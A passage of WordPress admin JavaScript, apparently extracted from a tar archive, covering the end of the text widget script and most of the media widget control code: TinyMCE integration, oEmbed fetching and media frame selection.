						if ( -1 !== component.dismissedPointers.indexOf( 'text_widget_custom_html' ) ) {
							return;
						}
						showPointerElement( control.customHtmlWidgetPointer );
					});

					// Hide the pointer when switching tabs.
					$( '#' + id + '-tmce' ).on( 'click', function() {
						control.customHtmlWidgetPointer.hide();
					});

					// Show pointer when pasting HTML.
					editor.on( 'pastepreprocess', function( event ) {
						var content = event.content;
						if ( -1 !== component.dismissedPointers.indexOf( 'text_widget_paste_html' ) || ! content || ! /&lt;\w+.*?&gt;/.test( content ) ) {
							return;
						}

						// Show the pointer after a slight delay so the user sees what they pasted.
						_.delay( function() {
							showPointerElement( control.pasteHtmlPointer );
						}, 250 );
					});
				};

				if ( editor.initialized ) {
					onInit();
				} else {
					editor.on( 'init', onInit );
				}

				control.editorFocused = false;

				editor.on( 'focus', function onEditorFocus() {
					control.editorFocused = true;
				});
				editor.on( 'paste', function onEditorPaste() {
					editor.setDirty( true ); // Because pasting doesn't currently set the dirty state.
					triggerChangeIfDirty();
				});
				editor.on( 'NodeChange', function onNodeChange() {
					needsTextareaChangeTrigger = true;
				});
				editor.on( 'NodeChange', _.debounce( triggerChangeIfDirty, changeDebounceDelay ) );
				editor.on( 'blur hide', function onEditorBlur() {
					control.editorFocused = false;
					triggerChangeIfDirty();
				});

				control.editor = editor;
			}

			buildEditor();
		}
	});

	/**
	 * Mapping of widget ID to instances of TextWidgetControl subclasses.
	 *
	 * @memberOf wp.textWidgets
	 *
	 * @type {Object.<string, wp.textWidgets.TextWidgetControl>}
	 */
	component.widgetControls = {};

	/**
	 * Handle widget being added or initialized for the first time at the widget-added event.
	 *
	 * @memberOf wp.textWidgets
	 *
	 * @param {jQuery.Event} event - Event.
	 * @param {jQuery}       widgetContainer - Widget container element.
	 *
	 * @return {void}
	 */
	component.handleWidgetAdded = function handleWidgetAdded( event, widgetContainer ) {
		var widgetForm, idBase, widgetControl, widgetId, animatedCheckDelay = 50, renderWhenAnimationDone, fieldContainer, syncContainer;
		widgetForm = widgetContainer.find( '> .widget-inside > .form, > .widget-inside > form' ); // Note: '.form' appears in the customizer, whereas 'form' on the widgets admin screen.

		idBase = widgetForm.find( '> .id_base' ).val();
		if ( -1 === component.idBases.indexOf( idBase ) ) {
			return;
		}

		// Prevent initializing already-added widgets.
		widgetId = widgetForm.find( '.widget-id' ).val();
		if ( component.widgetControls[ widgetId ] ) {
			return;
		}

		// Bypass using TinyMCE when widget is in legacy mode.
		if ( ! widgetForm.find( '.visual' ).val() ) {
			return;
		}

		/*
		 * Create a container element for the widget control fields.
		 * This is inserted into the DOM immediately before the .widget-content
		 * element because the contents of this element are essentially "managed"
		 * by PHP, where each widget update cause the entire element to be emptied
		 * and replaced with the rendered output of WP_Widget::form() which is
		 * sent back in Ajax request made to save/update the widget instance.
		 * To prevent a "flash of replaced DOM elements and re-initialized JS
		 * components", the JS template is rendered outside of the normal form
		 * container.
		 */
		fieldContainer = $( '<div></div>' );
		syncContainer = widgetContainer.find( '.widget-content:first' );
		syncContainer.before( fieldContainer );

		widgetControl = new component.TextWidgetControl({
			el: fieldContainer,
			syncContainer: syncContainer
		});

		component.widgetControls[ widgetId ] = widgetControl;

		/*
		 * Render the widget once the widget parent's container finishes animating,
		 * as the widget-added event fires with a slideDown of the container.
		 * This ensures that the textarea is visible and an iframe can be embedded
		 * with TinyMCE being able to set contenteditable on it.
		 */
		renderWhenAnimationDone = function() {
			if ( ! widgetContainer.hasClass( 'open' ) ) {
				setTimeout( renderWhenAnimationDone, animatedCheckDelay );
			} else {
				widgetControl.initializeEditor();
			}
		};
		renderWhenAnimationDone();
	};

	/**
	 * Setup widget in accessibility mode.
	 *
	 * @memberOf wp.textWidgets
	 *
	 * @return {void}
	 */
	component.setupAccessibleMode = function setupAccessibleMode() {
		var widgetForm, idBase, widgetControl, fieldContainer, syncContainer;
		widgetForm = $( '.editwidget > form' );
		if ( 0 === widgetForm.length ) {
			return;
		}

		idBase = widgetForm.find( '.id_base' ).val();
		if ( -1 === component.idBases.indexOf( idBase ) ) {
			return;
		}

		// Bypass using TinyMCE when widget is in legacy mode.
		if ( ! widgetForm.find( '.visual' ).val() ) {
			return;
		}

		fieldContainer = $( '<div></div>' );
		syncContainer = widgetForm.find( '> .widget-inside' );
		syncContainer.before( fieldContainer );

		widgetControl = new component.TextWidgetControl({
			el: fieldContainer,
			syncContainer: syncContainer
		});

		widgetControl.initializeEditor();
	};

	/**
	 * Sync widget instance data sanitized from server back onto widget model.
	 *
	 * This gets called via the 'widget-updated' event when saving a widget from
	 * the widgets admin screen and also via the 'widget-synced' event when making
	 * a change to a widget in the customizer.
	 *
	 * @memberOf wp.textWidgets
	 *
	 * @param {jQuery.Event} event - Event.
	 * @param {jQuery}       widgetContainer - Widget container element.
	 * @return {void}
	 */
	component.handleWidgetUpdated = function handleWidgetUpdated( event, widgetContainer ) {
		var widgetForm, widgetId, widgetControl, idBase;
		widgetForm = widgetContainer.find( '> .widget-inside > .form, > .widget-inside > form' );

		idBase = widgetForm.find( '> .id_base' ).val();
		if ( -1 === component.idBases.indexOf( idBase ) ) {
			return;
		}

		widgetId = widgetForm.find( '> .widget-id' ).val();
		widgetControl = component.widgetControls[ widgetId ];
		if ( ! widgetControl ) {
			return;
		}

		widgetControl.updateFields();
	};

	/**
	 * Initialize functionality.
	 *
	 * This function exists to prevent the JS file from having to boot itself.
	 * When WordPress enqueues this script, it should have an inline script
	 * attached which calls wp.textWidgets.init().
	 *
	 * @memberOf wp.textWidgets
	 *
	 * @return {void}
	 */
	component.init = function init() {
		var $document = $( document );
		$document.on( 'widget-added', component.handleWidgetAdded );
		$document.on( 'widget-synced widget-updated', component.handleWidgetUpdated );

		/*
		 * Manually trigger widget-added events for media widgets on the admin
		 * screen once they are expanded. The widget-added event is not triggered
		 * for each pre-existing widget on the widgets admin screen like it is
		 * on the customizer. Likewise, the customizer only triggers widget-added
		 * when the widget is expanded to just-in-time construct the widget form
		 * when it is actually going to be displayed. So the following implements
		 * the same for the widgets admin screen, to invoke the widget-added
		 * handler when a pre-existing media widget is expanded.
		 */
		$( function initializeExistingWidgetContainers() {
			var widgetContainers;
			if ( 'widgets' !== window.pagenow ) {
				return;
			}
			widgetContainers = $( '.widgets-holder-wrap:not(#available-widgets)' ).find( 'div.widget' );
			widgetContainers.one( 'click.toggle-widget-expanded', function toggleWidgetExpanded() {
				var widgetContainer = $( this );
				component.handleWidgetAdded( new jQuery.Event( 'widget-added' ), widgetContainer );
			});

			// Accessibility mode.
			component.setupAccessibleMode();
		});
	};

	return component;
})( jQuery );
                                                                                                                                                                                                                                                                                                                                                                                               media-widgets.js                                                                                    0000644                 00000123560 15265660322 0007643 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       /**
 * @output wp-admin/js/widgets/media-widgets.js
 */

/* eslint consistent-this: [ "error", "control" ] */

/**
 * @namespace wp.mediaWidgets
 * @memberOf  wp
 */
wp.mediaWidgets = ( function( $ ) {
	'use strict';

	var component = {};

	/**
	 * Widget control (view) constructors, mapping widget id_base to subclass of MediaWidgetControl.
	 *
	 * Media widgets register themselves by assigning subclasses of MediaWidgetControl onto this object by widget ID base.
	 *
	 * @memberOf wp.mediaWidgets
	 *
	 * @type {Object.<string, wp.mediaWidgets.MediaWidgetModel>}
	 */
	component.controlConstructors = {};

	/**
	 * Widget model constructors, mapping widget id_base to subclass of MediaWidgetModel.
	 *
	 * Media widgets register themselves by assigning subclasses of MediaWidgetControl onto this object by widget ID base.
	 *
	 * @memberOf wp.mediaWidgets
	 *
	 * @type {Object.<string, wp.mediaWidgets.MediaWidgetModel>}
	 */
	component.modelConstructors = {};

	component.PersistentDisplaySettingsLibrary = wp.media.controller.Library.extend(/** @lends wp.mediaWidgets.PersistentDisplaySettingsLibrary.prototype */{

		/**
		 * Library which persists the customized display settings across selections.
		 *
		 * @constructs wp.mediaWidgets.PersistentDisplaySettingsLibrary
		 * @augments   wp.media.controller.Library
		 *
		 * @param {Object} options - Options.
		 *
		 * @return {void}
		 */
		initialize: function initialize( options ) {
			_.bindAll( this, 'handleDisplaySettingChange' );
			wp.media.controller.Library.prototype.initialize.call( this, options );
		},

		/**
		 * Sync changes to the current display settings back into the current customized.
		 *
		 * @param {Backbone.Model} displaySettings - Modified display settings.
		 * @return {void}
		 */
		handleDisplaySettingChange: function handleDisplaySettingChange( displaySettings ) {
			this.get( 'selectedDisplaySettings' ).set( displaySettings.attributes );
		},

		/**
		 * Get the display settings model.
		 *
		 * Model returned is updated with the current customized display settings,
		 * and an event listener is added so that changes made to the settings
		 * will sync back into the model storing the session's customized display
		 * settings.
		 *
		 * @param {Backbone.Model} model - Display settings model.
		 * @return {Backbone.Model} Display settings model.
		 */
		display: function getDisplaySettingsModel( model ) {
			var display, selectedDisplaySettings = this.get( 'selectedDisplaySettings' );
			display = wp.media.controller.Library.prototype.display.call( this, model );

			display.off( 'change', this.handleDisplaySettingChange ); // Prevent duplicated event handlers.
			display.set( selectedDisplaySettings.attributes );
			if ( 'custom' === selectedDisplaySettings.get( 'link_type' ) ) {
				display.linkUrl = selectedDisplaySettings.get( 'link_url' );
			}
			display.on( 'change', this.handleDisplaySettingChange );
			return display;
		}
	});

	/**
	 * Extended view for managing the embed UI.
	 *
	 * @class    wp.mediaWidgets.MediaEmbedView
	 * @augments wp.media.view.Embed
	 */
	component.MediaEmbedView = wp.media.view.Embed.extend(/** @lends wp.mediaWidgets.MediaEmbedView.prototype */{

		/**
		 * Initialize.
		 *
		 * @since 4.9.0
		 *
		 * @param {Object} options - Options.
		 * @return {void}
		 */
		initialize: function( options ) {
			var view = this, embedController; // eslint-disable-line consistent-this
			wp.media.view.Embed.prototype.initialize.call( view, options );
			if ( 'image' !== view.controller.options.mimeType ) {
				embedController = view.controller.states.get( 'embed' );
				embedController.off( 'scan', embedController.scanImage, embedController );
			}
		},

		/**
		 * Refresh embed view.
		 *
		 * Forked override of {wp.media.view.Embed#refresh()} to suppress irrelevant "link text" field.
		 *
		 * @return {void}
		 */
		refresh: function refresh() {
			/**
			 * @class wp.mediaWidgets~Constructor
			 */
			var Constructor;

			if ( 'image' === this.controller.options.mimeType ) {
				Constructor = wp.media.view.EmbedImage;
			} else {

				// This should be eliminated once #40450 lands of when this is merged into core.
				Constructor = wp.media.view.EmbedLink.extend(/** @lends wp.mediaWidgets~Constructor.prototype */{

					/**
					 * Set the disabled state on the Add to Widget button.
					 *
					 * @param {boolean} disabled - Disabled.
					 * @return {void}
					 */
					setAddToWidgetButtonDisabled: function setAddToWidgetButtonDisabled( disabled ) {
						this.views.parent.views.parent.views.get( '.media-frame-toolbar' )[0].$el.find( '.media-button-select' ).prop( 'disabled', disabled );
					},

					/**
					 * Set or clear an error notice.
					 *
					 * @param {string} notice - Notice.
					 * @return {void}
					 */
					setErrorNotice: function setErrorNotice( notice ) {
						var embedLinkView = this, noticeContainer; // eslint-disable-line consistent-this

						noticeContainer = embedLinkView.views.parent.$el.find( '> .notice:first-child' );
						if ( ! notice ) {
							if ( noticeContainer.length ) {
								noticeContainer.slideUp( 'fast' );
							}
						} else {
							if ( ! noticeContainer.length ) {
								noticeContainer = $( '<div class="media-widget-embed-notice notice notice-error notice-alt" role="alert"></div>' );
								noticeContainer.hide();
								embedLinkView.views.parent.$el.prepend( noticeContainer );
							}
							noticeContainer.empty();
							noticeContainer.append( $( '<p>', {
								html: notice
							}));
							noticeContainer.slideDown( 'fast' );
						}
					},

					/**
					 * Update oEmbed.
					 *
					 * @since 4.9.0
					 *
					 * @return {void}
					 */
					updateoEmbed: function() {
						var embedLinkView = this, url; // eslint-disable-line consistent-this

						url = embedLinkView.model.get( 'url' );

						// Abort if the URL field was emptied out.
						if ( ! url ) {
							embedLinkView.setErrorNotice( '' );
							embedLinkView.setAddToWidgetButtonDisabled( true );
							return;
						}

						if ( ! url.match( /^(http|https):\/\/.+\// ) ) {
							embedLinkView.controller.$el.find( '#embed-url-field' ).addClass( 'invalid' );
							embedLinkView.setAddToWidgetButtonDisabled( true );
						}

						wp.media.view.EmbedLink.prototype.updateoEmbed.call( embedLinkView );
					},

					/**
					 * Fetch media.
					 *
					 * @return {void}
					 */
					fetch: function() {
						var embedLinkView = this, fetchSuccess, matches, fileExt, urlParser, url, re, youTubeEmbedMatch; // eslint-disable-line consistent-this
						url = embedLinkView.model.get( 'url' );

						if ( embedLinkView.dfd && 'pending' === embedLinkView.dfd.state() ) {
							embedLinkView.dfd.abort();
						}

						fetchSuccess = function( response ) {
							embedLinkView.renderoEmbed({
								data: {
									body: response
								}
							});

							embedLinkView.controller.$el.find( '#embed-url-field' ).removeClass( 'invalid' );
							embedLinkView.setErrorNotice( '' );
							embedLinkView.setAddToWidgetButtonDisabled( false );
						};

						urlParser = document.createElement( 'a' );
						urlParser.href = url;
						matches = urlParser.pathname.toLowerCase().match( /\.(\w+)$/ );
						if ( matches ) {
							fileExt = matches[1];
							if ( ! wp.media.view.settings.embedMimes[ fileExt ] ) {
								embedLinkView.renderFail();
							} else if ( 0 !== wp.media.view.settings.embedMimes[ fileExt ].indexOf( embedLinkView.controller.options.mimeType ) ) {
								embedLinkView.renderFail();
							} else {
								fetchSuccess( '<!--success-->' );
							}
							return;
						}

						// Support YouTube embed links.
						re = /https?:\/\/www\.youtube\.com\/embed\/([^/]+)/;
						youTubeEmbedMatch = re.exec( url );
						if ( youTubeEmbedMatch ) {
							url = 'https://www.youtube.com/watch?v=' + youTubeEmbedMatch[ 1 ];
							// silently change url to proper oembed-able version.
							embedLinkView.model.attributes.url = url;
						}

						embedLinkView.dfd = wp.apiRequest({
							url: wp.media.view.settings.oEmbedProxyUrl,
							data: {
								url: url,
								maxwidth: embedLinkView.model.get( 'width' ),
								maxheight: embedLinkView.model.get( 'height' ),
								discover: false
							},
							type: 'GET',
							dataType: 'json',
							context: embedLinkView
						});

						embedLinkView.dfd.done( function( response ) {
							if ( embedLinkView.controller.options.mimeType !== response.type ) {
								embedLinkView.renderFail();
								return;
							}
							fetchSuccess( response.html );
						});
						embedLinkView.dfd.fail( _.bind( embedLinkView.renderFail, embedLinkView ) );
					},

					/**
					 * Handle render failure.
					 *
					 * Overrides the {EmbedLink#renderFail()} method to prevent showing the "Link Text" field.
					 * The element is getting display:none in the stylesheet, but the underlying method uses
					 * uses {jQuery.fn.show()} which adds an inline style. This avoids the need for !important.
					 *
					 * @return {void}
					 */
					renderFail: function renderFail() {
						var embedLinkView = this; // eslint-disable-line consistent-this
						embedLinkView.controller.$el.find( '#embed-url-field' ).addClass( 'invalid' );
						embedLinkView.setErrorNotice( embedLinkView.controller.options.invalidEmbedTypeError || 'ERROR' );
						embedLinkView.setAddToWidgetButtonDisabled( true );
					}
				});
			}

			this.settings( new Constructor({
				controller: this.controller,
				model:      this.model.props,
				priority:   40
			}));
		}
	});

	/**
	 * Custom media frame for selecting uploaded media or providing media by URL.
	 *
	 * @class    wp.mediaWidgets.MediaFrameSelect
	 * @augments wp.media.view.MediaFrame.Post
	 */
	component.MediaFrameSelect = wp.media.view.MediaFrame.Post.extend(/** @lends wp.mediaWidgets.MediaFrameSelect.prototype */{

		/**
		 * Create the default states.
		 *
		 * @return {void}
		 */
		createStates: function createStates() {
			var mime = this.options.mimeType, specificMimes = [];
			_.each( wp.media.view.settings.embedMimes, function( embedMime ) {
				if ( 0 === embedMime.indexOf( mime ) ) {
					specificMimes.push( embedMime );
				}
			});
			if ( specificMimes.length > 0 ) {
				mime = specificMimes;
			}

			this.states.add([

				// Main states.
				new component.PersistentDisplaySettingsLibrary({
					id:         'insert',
					title:      this.options.title,
					selection:  this.options.selection,
					priority:   20,
					toolbar:    'main-insert',
					filterable: 'dates',
					library:    wp.media.query({
						type: mime
					}),
					multiple:   false,
					editable:   true,

					selectedDisplaySettings: this.options.selectedDisplaySettings,
					displaySettings: _.isUndefined( this.options.showDisplaySettings ) ? true : this.options.showDisplaySettings,
					displayUserSettings: false // We use the display settings from the current/default widget instance props.
				}),

				new wp.media.controller.EditImage({ model: this.options.editImage }),

				// Embed states.
				new wp.media.controller.Embed({
					metadata: this.options.metadata,
					type: 'image' === this.options.mimeType ? 'image' : 'link',
					invalidEmbedTypeError: this.options.invalidEmbedTypeError
				})
			]);
		},

		/**
		 * Main insert toolbar.
		 *
		 * Forked override of {wp.media.view.MediaFrame.Post#mainInsertToolbar()} to override text.
		 *
		 * @param {wp.Backbone.View} view - Toolbar view.
		 * @this {wp.media.controller.Library}
		 * @return {void}
		 */
		mainInsertToolbar: function mainInsertToolbar( view ) {
			var controller = this; // eslint-disable-line consistent-this
			view.set( 'insert', {
				style:    'primary',
				priority: 80,
				text:     controller.options.text, // The whole reason for the fork.
				requires: { selection: true },

				/**
				 * Handle click.
				 *
				 * @ignore
				 *
				 * @fires wp.media.controller.State#insert()
				 * @return {void}
				 */
				click: function onClick() {
					var state = controller.state(),
						selection = state.get( 'selection' );

					controller.close();
					state.trigger( 'insert', selection ).reset();
				}
			});
		},

		/**
		 * Main embed toolbar.
		 *
		 * Forked override of {wp.media.view.MediaFrame.Post#mainEmbedToolbar()} to override text.
		 *
		 * @param {wp.Backbone.View} toolbar - Toolbar view.
		 * @this {wp.media.controller.Library}
		 * @return {void}
		 */
		mainEmbedToolbar: function mainEmbedToolbar( toolbar ) {
			toolbar.view = new wp.media.view.Toolbar.Embed({
				controller: this,
				text: this.options.text,
				event: 'insert'
			});
		},

		/**
		 * Embed content.
		 *
		 * Forked override of {wp.media.view.MediaFrame.Post#embedContent()} to suppress irrelevant "link text" field.
		 *
		 * @return {void}
		 */
		embedContent: function embedContent() {
			var view = new component.MediaEmbedView({
				controller: this,
				model:      this.state()
			}).render();

			this.content.set( view );
		}
	});

	component.MediaWidgetControl = Backbone.View.extend(/** @lends wp.mediaWidgets.MediaWidgetControl.prototype */{

		/**
		 * Translation strings.
		 *
		 * The mapping of translation strings is handled by media widget subclasses,
		 * exported from PHP to JS such as is done in WP_Widget_Media_Image::enqueue_admin_scripts().
		 *
		 * @type {Object}
		 */
		l10n: {
			add_to_widget: '{{add_to_widget}}',
			add_media: '{{add_media}}'
		},

		/**
		 * Widget ID base.
		 *
		 * This may be defined by the subclass. It may be exported from PHP to JS
		 * such as is done in WP_Widget_Media_Image::enqueue_admin_scripts(). If not,
		 * it will attempt to be discovered by looking to see if this control
		 * instance extends each member of component.controlConstructors, and if
		 * it does extend one, will use the key as the id_base.
		 *
		 * @type {string}
		 */
		id_base: '',

		/**
		 * Mime type.
		 *
		 * This must be defined by the subclass. It may be exported from PHP to JS
		 * such as is done in WP_Widget_Media_Image::enqueue_admin_scripts().
		 *
		 * @type {string}
		 */
		mime_type: '',

		/**
		 * View events.
		 *
		 * @type {Object}
		 */
		events: {
			'click .notice-missing-attachment a': 'handleMediaLibraryLinkClick',
			'click .select-media': 'selectMedia',
			'click .placeholder': 'selectMedia',
			'click .edit-media': 'editMedia'
		},

		/**
		 * Show display settings.
		 *
		 * @type {boolean}
		 */
		showDisplaySettings: true,

		/**
		 * Media Widget Control.
		 *
		 * @constructs wp.mediaWidgets.MediaWidgetControl
		 * @augments   Backbone.View
		 * @abstract
		 *
		 * @param {Object}         options - Options.
		 * @param {Backbone.Model} options.model - Model.
		 * @param {jQuery}         options.el - Control field container element.
		 * @param {jQuery}         options.syncContainer - Container element where fields are synced for the server.
		 *
		 * @return {void}
		 */
		initialize: function initialize( options ) {
			var control = this;

			Backbone.View.prototype.initialize.call( control, options );

			if ( ! ( control.model instanceof component.MediaWidgetModel ) ) {
				throw new Error( 'Missing options.model' );
			}
			if ( ! options.el ) {
				throw new Error( 'Missing options.el' );
			}
			if ( ! options.syncContainer ) {
				throw new Error( 'Missing options.syncContainer' );
			}

			control.syncContainer = options.syncContainer;

			control.$el.addClass( 'media-widget-control' );

			// Allow methods to be passed in with control context preserved.
			_.bindAll( control, 'syncModelToInputs', 'render', 'updateSelectedAttachment', 'renderPreview' );

			if ( ! control.id_base ) {
				_.find( component.controlConstructors, function( Constructor, idBase ) {
					if ( control instanceof Constructor ) {
						control.id_base = idBase;
						return true;
					}
					return false;
				});
				if ( ! control.id_base ) {
					throw new Error( 'Missing id_base.' );
				}
			}

			// Track attributes needed to renderPreview in it's own model.
			control.previewTemplateProps = new Backbone.Model( control.mapModelToPreviewTemplateProps() );

			// Re-render the preview when the attachment changes.
			control.selectedAttachment = new wp.media.model.Attachment();
			control.renderPreview = _.debounce( control.renderPreview );
			control.listenTo( control.previewTemplateProps, 'change', control.renderPreview );

			// Make sure a copy of the selected attachment is always fetched.
			control.model.on( 'change:attachment_id', control.updateSelectedAttachment );
			control.model.on( 'change:url', control.updateSelectedAttachment );
			control.updateSelectedAttachment();

			/*
			 * Sync the widget instance model attributes onto the hidden inputs that widgets currently use to store the state.
			 * In the future, when widgets are JS-driven, the underlying widget instance data should be exposed as a model
			 * from the start, without having to sync with hidden fields. See <https://core.trac.wordpress.org/ticket/33507>.
			 */
			control.listenTo( control.model, 'change', control.syncModelToInputs );
			control.listenTo( control.model, 'change', control.syncModelToPreviewProps );
			control.listenTo( control.model, 'change', control.render );

			// Update the title.
			control.$el.on( 'input change', '.title', function updateTitle() {
				control.model.set({
					title: $( this ).val().trim()
				});
			});

			// Update link_url attribute.
			control.$el.on( 'input change', '.link', function updateLinkUrl() {
				var linkUrl = $( this ).val().trim(), linkType = 'custom';
				if ( control.selectedAttachment.get( 'linkUrl' ) === linkUrl || control.selectedAttachment.get( 'link' ) === linkUrl ) {
					linkType = 'post';
				} else if ( control.selectedAttachment.get( 'url' ) === linkUrl ) {
					linkType = 'file';
				}
				control.model.set( {
					link_url: linkUrl,
					link_type: linkType
				});

				// Update display settings for the next time the user opens to select from the media library.
				control.displaySettings.set( {
					link: linkType,
					linkUrl: linkUrl
				});
			});

			/*
			 * Copy current display settings from the widget model to serve as basis
			 * of customized display settings for the current media frame session.
			 * Changes to display settings will be synced into this model, and
			 * when a new selection is made, the settings from this will be synced
			 * into that AttachmentDisplay's model to persist the setting changes.
			 */
			control.displaySettings = new Backbone.Model( _.pick(
				control.mapModelToMediaFrameProps(
					_.extend( control.model.defaults(), control.model.toJSON() )
				),
				_.keys( wp.media.view.settings.defaultProps )
			) );
		},

		/**
		 * Update the selected attachment if necessary.
		 *
		 * @return {void}
		 */
		updateSelectedAttachment: function updateSelectedAttachment() {
			var control = this, attachment;

			if ( 0 === control.model.get( 'attachment_id' ) ) {
				control.selectedAttachment.clear();
				control.model.set( 'error', false );
			} else if ( control.model.get( 'attachment_id' ) !== control.selectedAttachment.get( 'id' ) ) {
				attachment = new wp.media.model.Attachment({
					id: control.model.get( 'attachment_id' )
				});
				attachment.fetch()
					.done( function done() {
						control.model.set( 'error', false );
						control.selectedAttachment.set( attachment.toJSON() );
					})
					.fail( function fail() {
						control.model.set( 'error', 'missing_attachment' );
					});
			}
		},

		/**
		 * Sync the model attributes to the hidden inputs, and update previewTemplateProps.
		 *
		 * @return {void}
		 */
		syncModelToPreviewProps: function syncModelToPreviewProps() {
			var control = this;
			control.previewTemplateProps.set( control.mapModelToPreviewTemplateProps() );
		},

		/**
		 * Sync the model attributes to the hidden inputs, and update previewTemplateProps.
		 *
		 * @return {void}
		 */
		syncModelToInputs: function syncModelToInputs() {
			var control = this;
			control.syncContainer.find( '.media-widget-instance-property' ).each( function() {
				var input = $( this ), value, propertyName;
				propertyName = input.data( 'property' );
				value = control.model.get( propertyName );
				if ( _.isUndefined( value ) ) {
					return;
				}

				if ( 'array' === control.model.schema[ propertyName ].type && _.isArray( value ) ) {
					value = value.join( ',' );
				} else if ( 'boolean' === control.model.schema[ propertyName ].type ) {
					value = value ? '1' : ''; // Because in PHP, strval( true ) === '1' && strval( false ) === ''.
				} else {
					value = String( value );
				}

				if ( input.val() !== value ) {
					input.val( value );
					input.trigger( 'change' );
				}
			});
		},

		/**
		 * Get template.
		 *
		 * @return {Function} Template.
		 */
		template: function template() {
			var control = this;
			if ( ! $( '#tmpl-widget-media-' + control.id_base + '-control' ).length ) {
				throw new Error( 'Missing widget control template for ' + control.id_base );
			}
			return wp.template( 'widget-media-' + control.id_base + '-control' );
		},

		/**
		 * Render template.
		 *
		 * @return {void}
		 */
		render: function render() {
			var control = this, titleInput;

			if ( ! control.templateRendered ) {
				control.$el.html( control.template()( control.model.toJSON() ) );
				control.renderPreview(); // Hereafter it will re-render when control.selectedAttachment changes.
				control.templateRendered = true;
			}

			titleInput = control.$el.find( '.title' );
			if ( ! titleInput.is( document.activeElement ) ) {
				titleInput.val( control.model.get( 'title' ) );
			}

			control.$el.toggleClass( 'selected', control.isSelected() );
		},

		/**
		 * Render media preview.
		 *
		 * @abstract
		 * @return {void}
		 */
		renderPreview: function renderPreview() {
			throw new Error( 'renderPreview must be implemented' );
		},

		/**
		 * Whether a media item is selected.
		 *
		 * @return {boolean} Whether selected and no error.
		 */
		isSelected: function isSelected() {
			var control = this;

			if ( control.model.get( 'error' ) ) {
				return false;
			}

			return Boolean( control.model.get( 'attachment_id' ) || control.model.get( 'url' ) );
		},

		/**
		 * Handle click on link to Media Library to open modal, such as the link that appears when in the missing attachment error notice.
		 *
		 * @param {jQuery.Event} event - Event.
		 * @return {void}
		 */
		handleMediaLibraryLinkClick: function handleMediaLibraryLinkClick( event ) {
			var control = this;
			event.preventDefault();
			control.selectMedia();
		},

		/**
		 * Open the media select frame to chose an item.
		 *
		 * @return {void}
		 */
		selectMedia: function selectMedia() {
			var control = this, selection, mediaFrame, defaultSync, mediaFrameProps, selectionModels = [];

			if ( control.isSelected() && 0 !== control.model.get( 'attachment_id' ) ) {
				selectionModels.push( control.selectedAttachment );
			}

			selection = new wp.media.model.Selection( selectionModels, { multiple: false } );

			mediaFrameProps = control.mapModelToMediaFrameProps( control.model.toJSON() );
			if ( mediaFrameProps.size ) {
				control.displaySettings.set( 'size', mediaFrameProps.size );
			}

			mediaFrame = new component.MediaFrameSelect({
				title: control.l10n.add_media,
				frame: 'post',
				text: control.l10n.add_to_widget,
				selection: selection,
				mimeType: control.mime_type,
				selectedDisplaySettings: control.displaySettings,
				showDisplaySettings: control.showDisplaySettings,
				metadata: mediaFrameProps,
				state: control.isSelected() && 0 === control.model.get( 'attachment_id' ) ? 'embed' : 'insert',
				invalidEmbedTypeError: control.l10n.unsupported_file_type
			});
			wp.media.frame = mediaFrame; // See wp.media().

			// Handle selection of a media item.
			mediaFrame.on( 'insert', function onInsert() {
				var attachment = {}, state = mediaFrame.state();

				// Update cached attachment object to avoid having to re-fetch. This also triggers re-rendering of preview.
				if ( 'embed' === state.get( 'id' ) ) {
					_.extend( attachment, { id: 0 }, state.props.toJSON() );
				} else {
					_.extend( attachment, state.get( 'selection' ).first().toJSON() );
				}

				control.selectedAttachment.set( attachment );
				control.model.set( 'error', false );

				// Update widget instance.
				control.model.set( control.getModelPropsFromMediaFrame( mediaFrame ) );
			});

			// Disable syncing of attachment changes back to server (except for deletions). See <https://core.trac.wordpress.org/ticket/40403>.
			defaultSync = wp.media.model.Attachment.prototype.sync;
			wp.media.model.Attachment.prototype.sync = function( method ) {
				if ( 'delete' === method ) {
					return defaultSync.apply( this, arguments );
				} else {
					return $.Deferred().rejectWith( this ).promise();
				}
			};
			mediaFrame.on( 'close', function onClose() {
				wp.media.model.Attachment.prototype.sync = defaultSync;
			});

			mediaFrame.$el.addClass( 'media-widget' );
			mediaFrame.open();

			// Clear the selected attachment when it is deleted in the media select frame.
			if ( selection ) {
				selection.on( 'destroy', function onDestroy( attachment ) {
					if ( control.model.get( 'attachment_id' ) === attachment.get( 'id' ) ) {
						control.model.set({
							attachment_id: 0,
							url: ''
						});
					}
				});
			}

			/*
			 * Make sure focus is set inside of modal so that hitting Esc will close
			 * the modal and not inadvertently cause the widget to collapse in the customizer.
			 */
			mediaFrame.$el.find( '.media-frame-menu .media-menu-item.active' ).focus();
		},

		/**
		 * Get the instance props from the media selection frame.
		 *
		 * @param {wp.media.view.MediaFrame.Select} mediaFrame - Select frame.
		 * @return {Object} Props.
		 */
		getModelPropsFromMediaFrame: function getModelPropsFromMediaFrame( mediaFrame ) {
			var control = this, state, mediaFrameProps, modelProps;

			state = mediaFrame.state();
			if ( 'insert' === state.get( 'id' ) ) {
				mediaFrameProps = state.get( 'selection' ).first().toJSON();
				mediaFrameProps.postUrl = mediaFrameProps.link;

				if ( control.showDisplaySettings ) {
					_.extend(
						mediaFrameProps,
						mediaFrame.content.get( '.attachments-browser' ).sidebar.get( 'display' ).model.toJSON()
					);
				}
				if ( mediaFrameProps.sizes && mediaFrameProps.size && mediaFrameProps.sizes[ mediaFrameProps.size ] ) {
					mediaFrameProps.url = mediaFrameProps.sizes[ mediaFrameProps.size ].url;
				}
			} else if ( 'embed' === state.get( 'id' ) ) {
				mediaFrameProps = _.extend(
					state.props.toJSON(),
					{ attachment_id: 0 }, // Because some media frames use `attachment_id` not `id`.
					control.model.getEmbedResetProps()
				);
			} else {
				throw new Error( 'Unexpected state: ' + state.get( 'id' ) );
			}

			if ( mediaFrameProps.id ) {
				mediaFrameProps.attachment_id = mediaFrameProps.id;
			}

			modelProps = control.mapMediaToModelProps( mediaFrameProps );

			// Clear the extension prop so sources will be reset for video and audio media.
			_.each( wp.media.view.settings.embedExts, function( ext ) {
				if ( ext in control.model.schema && modelProps.url !== modelProps[ ext ] ) {
					modelProps[ ext ] = '';
				}
			});

			return modelProps;
		},

		/**
		 * Map media frame props to model props.
		 *
		 * @param {Object} mediaFrameProps - Media frame props.
		 * @return {Object} Model props.
		 */
		mapMediaToModelProps: function mapMediaToModelProps( mediaFrameProps ) {
			var control = this, mediaFramePropToModelPropMap = {}, modelProps = {}, extension;
			_.each( control.model.schema, function( fieldSchema, modelProp ) {

				// Ignore widget title attribute.
				if ( 'title' === modelProp ) {
					return;
				}
